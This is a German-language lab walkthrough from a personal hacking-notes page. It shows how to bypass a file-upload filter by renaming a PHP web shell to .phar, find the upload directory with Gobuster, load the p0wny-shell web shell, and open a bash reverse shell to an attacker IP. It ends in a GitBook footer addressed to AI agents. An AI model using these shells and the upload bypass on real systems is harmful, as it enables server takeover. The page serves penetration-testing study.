> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/file-upload-attack/file-upload-.phar-extension-pentesting-web.md).

# Datei-Upload .phar-Erweiterung

<figure><img src="/files/c336d945b839a42875afb7b436f2776d9e95193e" alt=""><figcaption></figcaption></figure>

#### Erste Ausnutzung:

Versuch, eine Datei-Upload-Schwachstelle auszunutzen, indem eine bösartige PHP-Datei eingefügt wird

```php
<?php
system($_GET['cmd'];
?>

```

Der Server lehnt Datei-Upload-Anfragen mit bestimmten Erweiterungen automatisch ab.

<figure><img src="/files/1b2ae8b6c0c354e4f64b7add30b8c4d150cf59d5" alt=""><figcaption></figcaption></figure>

**Abfangen mit Burp Suite:** Verwendung von Burp Suite, um den Traffic abzufangen und zu analysieren, um die Ausnutzungsfehler zu verstehen

<figure><img src="/files/a60a23655a9bd279c0ed0afd18395cc360007563" alt=""><figcaption></figcaption></figure>

#### Änderung der PHP-Erweiterung:

Ändern Sie die Erweiterung der Datei von `.php` zu `.phar` in der Variable `Dateinamen`, und stellen Sie sicher, dass der Speicherort erfolgreich akzeptiert wird

<figure><img src="/files/a107ded03f83b1de6dd12b581b9e311c9f8d7618" alt=""><figcaption></figcaption></figure>

**Verzeichnisaufzählung:** Verwendung von Gobuster, um die Verzeichnisse auf einem Webserver zu identifizieren und den Speicherort der hochgeladenen medizinischen Bilder zu finden.

```bash
gobuster dir -u http://10.10.11.241:8080/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20

```

<figure><img src="/files/a94ed4d6d2988d337d6e00b1a6372b09ee49df6a" alt=""><figcaption></figcaption></figure>

#### Datei nicht interpretiert:

Der Inhalt einer .phar-Datei wird nicht interpretiert.

<figure><img src="/files/2c8eded7d4f853c85a992ea1344b812a1140d5a5" alt=""><figcaption></figcaption></figure>

**Verwendung eines GitHub-Tools, um eine Shell zu erstellen:** Verwendung eines Tools aus einem GitHub-Projekt, um die Beschränkungen für den Upload von PHP-Dateien zu umgehen und Shell-Zugriff zu erhalten

{% embed url="<https://github.com/flozz/p0wny-shell>" %}

<figure><img src="/files/2882f6e563abade62984606954ed858438865697" alt=""><figcaption></figcaption></figure>

**Starten einer Reverse Shell:**

```bash
/usr/bin/bash -c 'bash -i >& /dev/tcp/10.10.15.18/444 0>&1'

```

Ausführung eines Reverse-Shell-Befehls, um interaktiven Zugriff auf die Zielmaschine herzustellen und vollständige Kontrolle zu erlangen.

<figure><img src="/files/a64471b521da8fa188856ed74525ab6e105d7ce2" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web-vulnerabilities/file-upload-attack/file-upload-.phar-extension-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
